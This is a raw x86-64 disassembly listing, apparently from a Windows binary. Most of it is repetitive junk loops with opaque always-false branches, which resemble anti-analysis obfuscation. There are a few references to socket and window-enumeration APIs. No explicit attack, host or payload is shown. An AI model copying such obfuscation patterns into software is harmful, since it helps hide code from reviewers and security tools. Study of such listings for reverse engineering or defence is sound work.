cmp dword [rsp + 0xe24], 5
jge 0x140189732
mov dword [rsp + 0xe28], 0x11
mov dword [rsp + 0x8e0], 0
jmp 0x14018959f
mov eax, dword [rsp + 0x8e0]
inc eax
mov dword [rsp + 0x8e0], eax
cmp dword [rsp + 0x8e0], 3
jge 0x14018967a
mov eax, dword [rsp + 0x8e0]
inc eax
mov dword [rsp + 0x4d0], eax
mov eax, dword [rsp + 0x4d0]
inc eax
mov dword [rsp + 0x4d0], eax
cmp dword [rsp + 0x4d0], 4
jne 0x140189667
mov dword [rsp + 0x4cc], 0xd
mov dword [rsp + 0x8e4], 0
jmp 0x140189603
mov eax, dword [rsp + 0x8e4]
inc eax
mov dword [rsp + 0x8e4], eax
cmp dword [rsp + 0x8e4], 4
jge 0x14018964c
mov eax, dword [rsp + 0x8e4]
mov ecx, dword [rsp + 0x4cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc], eax
mov eax, dword [rsp + 0x4cc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018964a
imul eax, dword [rsp + 0x4cc], 3
mov dword [rsp + 0x4cc], eax
jmp 0x1401895f3
mov eax, dword [rsp + 0x4d0]
imul eax, dword [rsp + 0xe28]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1294], eax
cmp dword [rsp + 0x4d0], 6
jl 0x1401895bd
jmp 0x14018958f
cmp dword [rsp + 0xe28], 0xa
jle 0x14018972d
mov eax, dword [rsp + 0xe28]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe2c], eax
mov dword [rsp + 0x4d4], 0xd
mov dword [rsp + 0x8e8], 0
jmp 0x1401896c6
mov eax, dword [rsp + 0x8e8]
inc eax
mov dword [rsp + 0x8e8], eax
cmp dword [rsp + 0x8e8], 4
jge 0x14018970f
mov eax, dword [rsp + 0x8e8]
mov ecx, dword [rsp + 0x4d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d4], eax
mov eax, dword [rsp + 0x4d4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018970d
imul eax, dword [rsp + 0x4d4], 3
mov dword [rsp + 0x4d4], eax
jmp 0x1401896b6
mov eax, dword [rsp + 0xe2c]
dec eax
mov dword [rsp + 0xe2c], eax
cmp dword [rsp + 0xe2c], 0
jg 0x14018969e
jmp 0x140189559
cmp dword [rsp + 0x4d8], 0x21
jl 0x140189328
jmp 0x1401892f9
cmp dword [rsp + 0xe30], 0x32
jle 0x14018996f
mov eax, dword [rsp + 0xe30]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xe40], eax
mov dword [rsp + 0xe34], 0
jmp 0x140189787
mov eax, dword [rsp + 0xe34]
inc eax
mov dword [rsp + 0xe34], eax
cmp dword [rsp + 0xe34], 5
jge 0x140189950
mov dword [rsp + 0xe38], 0x11
mov dword [rsp + 0x8ec], 0
jmp 0x1401897bd
mov eax, dword [rsp + 0x8ec]
inc eax
mov dword [rsp + 0x8ec], eax
cmp dword [rsp + 0x8ec], 3
jge 0x140189898
mov eax, dword [rsp + 0x8ec]
inc eax
mov dword [rsp + 0x4e0], eax
mov eax, dword [rsp + 0x4e0]
inc eax
mov dword [rsp + 0x4e0], eax
cmp dword [rsp + 0x4e0], 4
jne 0x140189885
mov dword [rsp + 0x4dc], 0xd
mov dword [rsp + 0x8f0], 0
jmp 0x140189821
mov eax, dword [rsp + 0x8f0]
inc eax
mov dword [rsp + 0x8f0], eax
cmp dword [rsp + 0x8f0], 4
jge 0x14018986a
mov eax, dword [rsp + 0x8f0]
mov ecx, dword [rsp + 0x4dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc], eax
mov eax, dword [rsp + 0x4dc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189868
imul eax, dword [rsp + 0x4dc], 3
mov dword [rsp + 0x4dc], eax
jmp 0x140189811
mov eax, dword [rsp + 0x4e0]
imul eax, dword [rsp + 0xe38]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1298], eax
cmp dword [rsp + 0x4e0], 6
jl 0x1401897db
jmp 0x1401897ad
cmp dword [rsp + 0xe38], 0xa
jle 0x14018994b
mov eax, dword [rsp + 0xe38]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe3c], eax
mov dword [rsp + 0x4e4], 0xd
mov dword [rsp + 0x8f4], 0
jmp 0x1401898e4
mov eax, dword [rsp + 0x8f4]
inc eax
mov dword [rsp + 0x8f4], eax
cmp dword [rsp + 0x8f4], 4
jge 0x14018992d
mov eax, dword [rsp + 0x8f4]
mov ecx, dword [rsp + 0x4e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4], eax
mov eax, dword [rsp + 0x4e4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018992b
imul eax, dword [rsp + 0x4e4], 3
mov dword [rsp + 0x4e4], eax
jmp 0x1401898d4
mov eax, dword [rsp + 0xe3c]
dec eax
mov dword [rsp + 0xe3c], eax
cmp dword [rsp + 0xe3c], 0
jg 0x1401898bc
jmp 0x140189777
mov eax, dword [rsp + 0xe40]
sub eax, 5
mov dword [rsp + 0xe40], eax
cmp dword [rsp + 0xe40], 0
jg 0x14018976a
mov dword [rsp + 0xe44], 0
jmp 0x14018998c
mov eax, dword [rsp + 0xe44]
inc eax
mov dword [rsp + 0xe44], eax
cmp dword [rsp + 0xe44], 5
jge 0x140189b55
mov dword [rsp + 0xe48], 0x11
mov dword [rsp + 0x8f8], 0
jmp 0x1401899c2
mov eax, dword [rsp + 0x8f8]
inc eax
mov dword [rsp + 0x8f8], eax
cmp dword [rsp + 0x8f8], 3
jge 0x140189a9d
mov eax, dword [rsp + 0x8f8]
inc eax
mov dword [rsp + 0x4ec], eax
mov eax, dword [rsp + 0x4ec]
inc eax
mov dword [rsp + 0x4ec], eax
cmp dword [rsp + 0x4ec], 4
jne 0x140189a8a
mov dword [rsp + 0x4e8], 0xd
mov dword [rsp + 0x8fc], 0
jmp 0x140189a26
mov eax, dword [rsp + 0x8fc]
inc eax
mov dword [rsp + 0x8fc], eax
cmp dword [rsp + 0x8fc], 4
jge 0x140189a6f
mov eax, dword [rsp + 0x8fc]
mov ecx, dword [rsp + 0x4e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8], eax
mov eax, dword [rsp + 0x4e8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189a6d
imul eax, dword [rsp + 0x4e8], 3
mov dword [rsp + 0x4e8], eax
jmp 0x140189a16
mov eax, dword [rsp + 0x4ec]
imul eax, dword [rsp + 0xe48]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x129c], eax
cmp dword [rsp + 0x4ec], 6
jl 0x1401899e0
jmp 0x1401899b2
cmp dword [rsp + 0xe48], 0xa
jle 0x140189b50
mov eax, dword [rsp + 0xe48]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xe4c], eax
mov dword [rsp + 0x4f0], 0xd
mov dword [rsp + 0x900], 0
jmp 0x140189ae9
mov eax, dword [rsp + 0x900]
inc eax
mov dword [rsp + 0x900], eax
cmp dword [rsp + 0x900], 4
jge 0x140189b32
mov eax, dword [rsp + 0x900]
mov ecx, dword [rsp + 0x4f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f0], eax
mov eax, dword [rsp + 0x4f0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140189b30
imul eax, dword [rsp + 0x4f0], 3
mov dword [rsp + 0x4f0], eax
jmp 0x140189ad9
mov eax, dword [rsp + 0xe4c]
dec eax
mov dword [rsp + 0xe4c], eax
cmp dword [rsp + 0xe4c], 0
jg 0x140189ac1
jmp 0x14018997c
jmp 0x1401892c3
xor eax, eax
cmp eax, 1
je 0x14018a91e
xor eax, eax
test eax, eax
je 0x14018a248
mov dword [rsp + 0xe50], 0
jmp 0x140189b8c
mov eax, dword [rsp + 0xe50]
inc eax
mov dword [rsp + 0xe50], eax
cmp dword [rsp + 0xe50], 5
jge 0x14018a243
mov dword [rsp + 0xe6c], 0x33
mov dword [rsp + 0x904], 0
jmp 0x140189bc2
mov eax, dword [rsp + 0x904]
inc eax
mov dword [rsp + 0x904], eax
cmp dword [rsp + 0x904], 6
jge 0x140189f14
mov eax, dword [rsp + 0x904]
add eax, 2
mov dword [rsp + 0x50c], eax
mov eax, dword [rsp + 0x50c]
add eax, 3
mov dword [rsp + 0x50c], eax
cmp dword [rsp + 0x50c], 0xb
jne 0x140189f01
mov dword [rsp + 0xe54], 0
jmp 0x140189c1d
mov eax, dword [rsp + 0xe54]
inc eax
mov dword [rsp + 0xe54], eax
cmp dword [rsp + 0xe54], 5
jge 0x140189d73
mov dword [rsp + 0xe58], 7
mov dword [rsp + 0x908], 0
jmp 0x140189c53
mov eax, dword [rsp + 0x908]
inc eax
mov dword [rsp + 0x908], eax
cmp dword [rsp + 0x908], 2
jge 0x140189cf6
mov eax, dword [rsp + 0x908]
inc eax
mov dword [rsp + 0x4f8], eax
mov eax, dword [rsp + 0x4f8]
inc eax
mov dword [rsp + 0x4f8], eax
cmp dword [rsp + 0x4f8], 2
jne 0x140189ce7
mov dword [rsp + 0x4f4], 0x15
mov eax, dword [rsp + 0x4f4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140189cbb
mov eax, dword [rsp + 0x4f4]
shl eax, 1
mov dword [rsp + 0x4f4], eax
jmp 0x140189ccc
mov eax, dword [rsp + 0x4f4]
add eax, 3
mov dword [rsp + 0x4f4], eax
mov eax, dword [rsp + 0x4f8]
imul eax, dword [rsp + 0xe58]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12a0], eax
cmp dword [rsp + 0x4f8], 3
jl 0x140189c71
jmp 0x140189c43
cmp dword [rsp + 0xe58], 5
jle 0x140189d6e
mov eax, dword [rsp + 0xe58]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe5c], eax
mov dword [rsp + 0x4fc], 0x15
mov eax, dword [rsp + 0x4fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140189d43
mov eax, dword [rsp + 0x4fc]
shl eax, 1
mov dword [rsp + 0x4fc], eax
jmp 0x140189d54
mov eax, dword [rsp + 0x4fc]
add eax, 3
mov dword [rsp + 0x4fc], eax
mov eax, dword [rsp + 0xe5c]
dec eax
mov dword [rsp + 0xe5c], eax
cmp dword [rsp + 0xe5c], 0
jg 0x140189d13
jmp 0x140189c0d
mov eax, dword [rsp + 0x50c]
imul eax, dword [rsp + 0xe6c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12a4], eax
mov dword [rsp + 0xe60], 0
jmp 0x140189dab
mov eax, dword [rsp + 0xe60]
inc eax
mov dword [rsp + 0xe60], eax
cmp dword [rsp + 0xe60], 5
jge 0x140189f01
mov dword [rsp + 0xe64], 7
mov dword [rsp + 0x90c], 0
jmp 0x140189de1
mov eax, dword [rsp + 0x90c]
inc eax
mov dword [rsp + 0x90c], eax
cmp dword [rsp + 0x90c], 2
jge 0x140189e84
mov eax, dword [rsp + 0x90c]
inc eax
mov dword [rsp + 0x504], eax
mov eax, dword [rsp + 0x504]
inc eax
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 2
jne 0x140189e75
mov dword [rsp + 0x500], 0x15
mov eax, dword [rsp + 0x500]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140189e49
mov eax, dword [rsp + 0x500]
shl eax, 1
mov dword [rsp + 0x500], eax
jmp 0x140189e5a
mov eax, dword [rsp + 0x500]
add eax, 3
mov dword [rsp + 0x500], eax
mov eax, dword [rsp + 0x504]
imul eax, dword [rsp + 0xe64]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12a8], eax
cmp dword [rsp + 0x504], 3
jl 0x140189dff
jmp 0x140189dd1
cmp dword [rsp + 0xe64], 5
jle 0x140189efc
mov eax, dword [rsp + 0xe64]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe68], eax
mov dword [rsp + 0x508], 0x15
mov eax, dword [rsp + 0x508]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140189ed1
mov eax, dword [rsp + 0x508]
shl eax, 1
mov dword [rsp + 0x508], eax
jmp 0x140189ee2
mov eax, dword [rsp + 0x508]
add eax, 3
mov dword [rsp + 0x508], eax
mov eax, dword [rsp + 0xe68]
dec eax
mov dword [rsp + 0xe68], eax
cmp dword [rsp + 0xe68], 0
jg 0x140189ea1
jmp 0x140189d9b
cmp dword [rsp + 0x50c], 0xf
jl 0x140189be1
jmp 0x140189bb2
cmp dword [rsp + 0xe6c], 0x19
jle 0x14018a0cb
mov eax, dword [rsp + 0xe6c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xe7c], eax
mov dword [rsp + 0xe70], 0
jmp 0x140189f56
mov eax, dword [rsp + 0xe70]
inc eax
mov dword [rsp + 0xe70], eax
cmp dword [rsp + 0xe70], 5
jge 0x14018a0ac
mov dword [rsp + 0xe74], 7
mov dword [rsp + 0x910], 0
jmp 0x140189f8c
mov eax, dword [rsp + 0x910]
inc eax
mov dword [rsp + 0x910], eax
cmp dword [rsp + 0x910], 2
jge 0x14018a02f
mov eax, dword [rsp + 0x910]
inc eax
mov dword [rsp + 0x514], eax
mov eax, dword [rsp + 0x514]
inc eax
mov dword [rsp + 0x514], eax
cmp dword [rsp + 0x514], 2
jne 0x14018a020
mov dword [rsp + 0x2a0], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140189ff4
mov eax, dword [rsp + 0x2a0]
shl eax, 1
mov dword [rsp + 0x2a0], eax
jmp 0x14018a005
mov eax, dword [rsp + 0x2a0]
add eax, 3
mov dword [rsp + 0x2a0], eax
mov eax, dword [rsp + 0x514]
imul eax, dword [rsp + 0xe74]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12ac], eax
cmp dword [rsp + 0x514], 3
jl 0x140189faa
jmp 0x140189f7c
cmp dword [rsp + 0xe74], 5
jle 0x14018a0a7
mov eax, dword [rsp + 0xe74]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe78], eax
mov dword [rsp + 0x518], 0x15
mov eax, dword [rsp + 0x518]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a07c
mov eax, dword [rsp + 0x518]
shl eax, 1
mov dword [rsp + 0x518], eax
jmp 0x14018a08d
mov eax, dword [rsp + 0x518]
add eax, 3
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xe78]
dec eax
mov dword [rsp + 0xe78], eax
cmp dword [rsp + 0xe78], 0
jg 0x14018a04c
jmp 0x140189f46
mov eax, dword [rsp + 0xe7c]
sub eax, 2
mov dword [rsp + 0xe7c], eax
cmp dword [rsp + 0xe7c], 0
jg 0x140189f39
mov dword [rsp + 0xe80], 0
jmp 0x14018a0e8
mov eax, dword [rsp + 0xe80]
inc eax
mov dword [rsp + 0xe80], eax
cmp dword [rsp + 0xe80], 5
jge 0x14018a23e
mov dword [rsp + 0xe84], 7
mov dword [rsp + 0x914], 0
jmp 0x14018a11e
mov eax, dword [rsp + 0x914]
inc eax
mov dword [rsp + 0x914], eax
cmp dword [rsp + 0x914], 2
jge 0x14018a1c1
mov eax, dword [rsp + 0x914]
inc eax
mov dword [rsp + 0x520], eax
mov eax, dword [rsp + 0x520]
inc eax
mov dword [rsp + 0x520], eax
cmp dword [rsp + 0x520], 2
jne 0x14018a1b2
mov dword [rsp + 0x51c], 0x15
mov eax, dword [rsp + 0x51c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a186
mov eax, dword [rsp + 0x51c]
shl eax, 1
mov dword [rsp + 0x51c], eax
jmp 0x14018a197
mov eax, dword [rsp + 0x51c]
add eax, 3
mov dword [rsp + 0x51c], eax
mov eax, dword [rsp + 0x520]
imul eax, dword [rsp + 0xe84]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12b0], eax
cmp dword [rsp + 0x520], 3
jl 0x14018a13c
jmp 0x14018a10e
cmp dword [rsp + 0xe84], 5
jle 0x14018a239
mov eax, dword [rsp + 0xe84]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe88], eax
mov dword [rsp + 0x524], 0x15
mov eax, dword [rsp + 0x524]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a20e
mov eax, dword [rsp + 0x524]
shl eax, 1
mov dword [rsp + 0x524], eax
jmp 0x14018a21f
mov eax, dword [rsp + 0x524]
add eax, 3
mov dword [rsp + 0x524], eax
mov eax, dword [rsp + 0xe88]
dec eax
mov dword [rsp + 0xe88], eax
cmp dword [rsp + 0xe88], 0
jg 0x14018a1de
jmp 0x14018a0d8
jmp 0x140189b7c
jmp 0x14018a91e
mov dword [rsp + 0xe8c], 0
jmp 0x14018a265
mov eax, dword [rsp + 0xe8c]
inc eax
mov dword [rsp + 0xe8c], eax
cmp dword [rsp + 0xe8c], 5
jge 0x14018a91e
mov dword [rsp + 0xea8], 0x44
mov dword [rsp + 0x918], 0
jmp 0x14018a29b
mov eax, dword [rsp + 0x918]
inc eax
mov dword [rsp + 0x918], eax
cmp dword [rsp + 0x918], 7
jge 0x14018a5f0
mov eax, dword [rsp + 0x918]
add eax, 4
mov dword [rsp + 0x540], eax
mov eax, dword [rsp + 0x540]
add eax, 4
mov dword [rsp + 0x540], eax
cmp dword [rsp + 0x540], 0x10
jne 0x14018a5dd
mov dword [rsp + 0xe90], 0
jmp 0x14018a2f6
mov eax, dword [rsp + 0xe90]
inc eax
mov dword [rsp + 0xe90], eax
cmp dword [rsp + 0xe90], 5
jge 0x14018a44c
mov dword [rsp + 0xe94], 7
mov dword [rsp + 0x91c], 0
jmp 0x14018a32c
mov eax, dword [rsp + 0x91c]
inc eax
mov dword [rsp + 0x91c], eax
cmp dword [rsp + 0x91c], 2
jge 0x14018a3cf
mov eax, dword [rsp + 0x91c]
inc eax
mov dword [rsp + 0x52c], eax
mov eax, dword [rsp + 0x52c]
inc eax
mov dword [rsp + 0x52c], eax
cmp dword [rsp + 0x52c], 2
jne 0x14018a3c0
mov dword [rsp + 0x528], 0x15
mov eax, dword [rsp + 0x528]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a394
mov eax, dword [rsp + 0x528]
shl eax, 1
mov dword [rsp + 0x528], eax
jmp 0x14018a3a5
mov eax, dword [rsp + 0x528]
add eax, 3
mov dword [rsp + 0x528], eax
mov eax, dword [rsp + 0x52c]
imul eax, dword [rsp + 0xe94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12b4], eax
cmp dword [rsp + 0x52c], 3
jl 0x14018a34a
jmp 0x14018a31c
cmp dword [rsp + 0xe94], 5
jle 0x14018a447
mov eax, dword [rsp + 0xe94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe98], eax
mov dword [rsp + 0x530], 0x15
mov eax, dword [rsp + 0x530]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a41c
mov eax, dword [rsp + 0x530]
shl eax, 1
mov dword [rsp + 0x530], eax
jmp 0x14018a42d
mov eax, dword [rsp + 0x530]
add eax, 3
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0xe98]
dec eax
mov dword [rsp + 0xe98], eax
cmp dword [rsp + 0xe98], 0
jg 0x14018a3ec
jmp 0x14018a2e6
mov eax, dword [rsp + 0x540]
imul eax, dword [rsp + 0xea8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12b8], eax
mov dword [rsp + 0xe9c], 0
jmp 0x14018a487
mov eax, dword [rsp + 0xe9c]
inc eax
mov dword [rsp + 0xe9c], eax
cmp dword [rsp + 0xe9c], 5
jge 0x14018a5dd
mov dword [rsp + 0xea0], 7
mov dword [rsp + 0x920], 0
jmp 0x14018a4bd
mov eax, dword [rsp + 0x920]
inc eax
mov dword [rsp + 0x920], eax
cmp dword [rsp + 0x920], 2
jge 0x14018a560
mov eax, dword [rsp + 0x920]
inc eax
mov dword [rsp + 0x538], eax
mov eax, dword [rsp + 0x538]
inc eax
mov dword [rsp + 0x538], eax
cmp dword [rsp + 0x538], 2
jne 0x14018a551
mov dword [rsp + 0x534], 0x15
mov eax, dword [rsp + 0x534]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a525
mov eax, dword [rsp + 0x534]
shl eax, 1
mov dword [rsp + 0x534], eax
jmp 0x14018a536
mov eax, dword [rsp + 0x534]
add eax, 3
mov dword [rsp + 0x534], eax
mov eax, dword [rsp + 0x538]
imul eax, dword [rsp + 0xea0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12bc], eax
cmp dword [rsp + 0x538], 3
jl 0x14018a4db
jmp 0x14018a4ad
cmp dword [rsp + 0xea0], 5
jle 0x14018a5d8
mov eax, dword [rsp + 0xea0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xea4], eax
mov dword [rsp + 0x53c], 0x15
mov eax, dword [rsp + 0x53c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a5ad
mov eax, dword [rsp + 0x53c]
shl eax, 1
mov dword [rsp + 0x53c], eax
jmp 0x14018a5be
mov eax, dword [rsp + 0x53c]
add eax, 3
mov dword [rsp + 0x53c], eax
mov eax, dword [rsp + 0xea4]
dec eax
mov dword [rsp + 0xea4], eax
cmp dword [rsp + 0xea4], 0
jg 0x14018a57d
jmp 0x14018a477
cmp dword [rsp + 0x540], 0x14
jl 0x14018a2ba
jmp 0x14018a28b
cmp dword [rsp + 0xea8], 0x28
jle 0x14018a7a6
mov eax, dword [rsp + 0xea8]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xeb8], eax
mov dword [rsp + 0xeac], 0
jmp 0x14018a631
mov eax, dword [rsp + 0xeac]
inc eax
mov dword [rsp + 0xeac], eax
cmp dword [rsp + 0xeac], 5
jge 0x14018a787
mov dword [rsp + 0xeb0], 7
mov dword [rsp + 0x924], 0
jmp 0x14018a667
mov eax, dword [rsp + 0x924]
inc eax
mov dword [rsp + 0x924], eax
cmp dword [rsp + 0x924], 2
jge 0x14018a70a
mov eax, dword [rsp + 0x924]
inc eax
mov dword [rsp + 0x548], eax
mov eax, dword [rsp + 0x548]
inc eax
mov dword [rsp + 0x548], eax
cmp dword [rsp + 0x548], 2
jne 0x14018a6fb
mov dword [rsp + 0x544], 0x15
mov eax, dword [rsp + 0x544]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a6cf
mov eax, dword [rsp + 0x544]
shl eax, 1
mov dword [rsp + 0x544], eax
jmp 0x14018a6e0
mov eax, dword [rsp + 0x544]
add eax, 3
mov dword [rsp + 0x544], eax
mov eax, dword [rsp + 0x548]
imul eax, dword [rsp + 0xeb0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12c0], eax
cmp dword [rsp + 0x548], 3
jl 0x14018a685
jmp 0x14018a657
cmp dword [rsp + 0xeb0], 5
jle 0x14018a782
mov eax, dword [rsp + 0xeb0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xeb4], eax
mov dword [rsp + 0x54c], 0x15
mov eax, dword [rsp + 0x54c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a757
mov eax, dword [rsp + 0x54c]
shl eax, 1
mov dword [rsp + 0x54c], eax
jmp 0x14018a768
mov eax, dword [rsp + 0x54c]
add eax, 3
mov dword [rsp + 0x54c], eax
mov eax, dword [rsp + 0xeb4]
dec eax
mov dword [rsp + 0xeb4], eax
cmp dword [rsp + 0xeb4], 0
jg 0x14018a727
jmp 0x14018a621
mov eax, dword [rsp + 0xeb8]
sub eax, 3
mov dword [rsp + 0xeb8], eax
cmp dword [rsp + 0xeb8], 0
jg 0x14018a614
mov dword [rsp + 0xebc], 0
jmp 0x14018a7c3
mov eax, dword [rsp + 0xebc]
inc eax
mov dword [rsp + 0xebc], eax
cmp dword [rsp + 0xebc], 5
jge 0x14018a919
mov dword [rsp + 0xec0], 7
mov dword [rsp + 0x928], 0
jmp 0x14018a7f9
mov eax, dword [rsp + 0x928]
inc eax
mov dword [rsp + 0x928], eax
cmp dword [rsp + 0x928], 2
jge 0x14018a89c
mov eax, dword [rsp + 0x928]
inc eax
mov dword [rsp + 0x554], eax
mov eax, dword [rsp + 0x554]
inc eax
mov dword [rsp + 0x554], eax
cmp dword [rsp + 0x554], 2
jne 0x14018a88d
mov dword [rsp + 0x550], 0x15
mov eax, dword [rsp + 0x550]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a861
mov eax, dword [rsp + 0x550]
shl eax, 1
mov dword [rsp + 0x550], eax
jmp 0x14018a872
mov eax, dword [rsp + 0x550]
add eax, 3
mov dword [rsp + 0x550], eax
mov eax, dword [rsp + 0x554]
imul eax, dword [rsp + 0xec0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x12c4], eax
cmp dword [rsp + 0x554], 3
jl 0x14018a817
jmp 0x14018a7e9
cmp dword [rsp + 0xec0], 5
jle 0x14018a914
mov eax, dword [rsp + 0xec0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xec4], eax
mov dword [rsp + 0x558], 0x15
mov eax, dword [rsp + 0x558]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018a8e9
mov eax, dword [rsp + 0x558]
shl eax, 1
mov dword [rsp + 0x558], eax
jmp 0x14018a8fa
mov eax, dword [rsp + 0x558]
add eax, 3
mov dword [rsp + 0x558], eax
mov eax, dword [rsp + 0xec4]
dec eax
mov dword [rsp + 0xec4], eax
cmp dword [rsp + 0xec4], 0
jg 0x14018a8b9
jmp 0x14018a7b3
jmp 0x14018a255
xor edx, edx
lea rcx, [0x140190790]
call qword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
cmp eax, 1
je 0x14018b2af
xor eax, eax
test eax, eax
je 0x14018b0ac
mov dword [rsp + 0xec8], 0
jmp 0x14018a95f
mov eax, dword [rsp + 0xec8]
inc eax
mov dword [rsp + 0xec8], eax
cmp dword [rsp + 0xec8], 5
jge 0x14018b0a7
mov dword [rsp + 0x588], 0x4d
mov dword [rsp + 0x92c], 0
jmp 0x14018a995
mov eax, dword [rsp + 0x92c]
inc eax
mov dword [rsp + 0x92c], eax
cmp dword [rsp + 0x92c], 8
jge 0x14018abc5
mov eax, dword [rsp + 0x92c]
add eax, 6
mov dword [rsp + 0x56c], eax
mov eax, dword [rsp + 0x56c]
add eax, 5
mov dword [rsp + 0x56c], eax
cmp dword [rsp + 0x56c], 0x12
jne 0x14018abb2
mov dword [rsp + 0x55c], 0x2a
mov eax, dword [rsp + 0x55c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018aa03
mov eax, dword [rsp + 0x55c]
shl eax, 1
mov dword [rsp + 0x55c], eax
jmp 0x14018aa14
mov eax, dword [rsp + 0x55c]
add eax, 3
mov dword [rsp + 0x55c], eax
mov eax, dword [rsp + 0x56c]
imul eax, dword [rsp + 0x588]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12c8], eax
mov dword [rsp + 0xecc], 0
jmp 0x14018aa4f
mov eax, dword [rsp + 0xecc]
inc eax
mov dword [rsp + 0xecc], eax
cmp dword [rsp + 0xecc], 5
jge 0x14018abb2
mov dword [rsp + 0xed0], 0x4d
mov dword [rsp + 0x930], 0
jmp 0x14018aa85
mov eax, dword [rsp + 0x930]
inc eax
mov dword [rsp + 0x930], eax
cmp dword [rsp + 0x930], 6
jge 0x14018ab31
mov eax, dword [rsp + 0x930]
add eax, 3
mov dword [rsp + 0x564], eax
mov eax, dword [rsp + 0x564]
add eax, 2
mov dword [rsp + 0x564], eax
cmp dword [rsp + 0x564], 0xb
jne 0x14018ab1e
mov dword [rsp + 0x560], 0x2a
mov eax, dword [rsp + 0x560]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018aaef
mov eax, dword [rsp + 0x560]
shl eax, 1
mov dword [rsp + 0x560], eax
jmp 0x14018ab00
mov eax, dword [rsp + 0x560]
add eax, 3
mov dword [rsp + 0x560], eax
mov eax, dword [rsp + 0x564]
imul eax, dword [rsp + 0xed0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x12cc], eax
cmp dword [rsp + 0x564], 0x12
jl 0x14018aaa4
jmp 0x14018aa75
cmp dword [rsp + 0xed0], 0x23
jle 0x14018abad
mov eax, dword [rsp + 0xed0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xed4], eax
mov dword [rsp + 0x568], 0x2a
mov eax, dword [rsp + 0x568]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018ab81
mov eax, dword [rsp + 0x568]
shl eax, 1
mov dword [rsp + 0x568], eax
jmp 0x14018ab92
mov eax, dword [rsp + 0x568]
add eax, 3
mov dword [rsp + 0x568], eax
mov eax, dword [rsp + 0xed4]
sub eax, 4
mov dword [rsp + 0xed4], eax
cmp dword [rsp + 0xed4], 0
jg 0x14018ab51
jmp 0x14018aa3f
cmp dword [rsp + 0x56c], 0x1e
jl 0x14018a9b4
jmp 0x14018a985
cmp dword [rsp + 0x588], 0x23
jle 0x14018ae55
mov eax, dword [rsp + 0x588]
cdq
mov ecx, 5
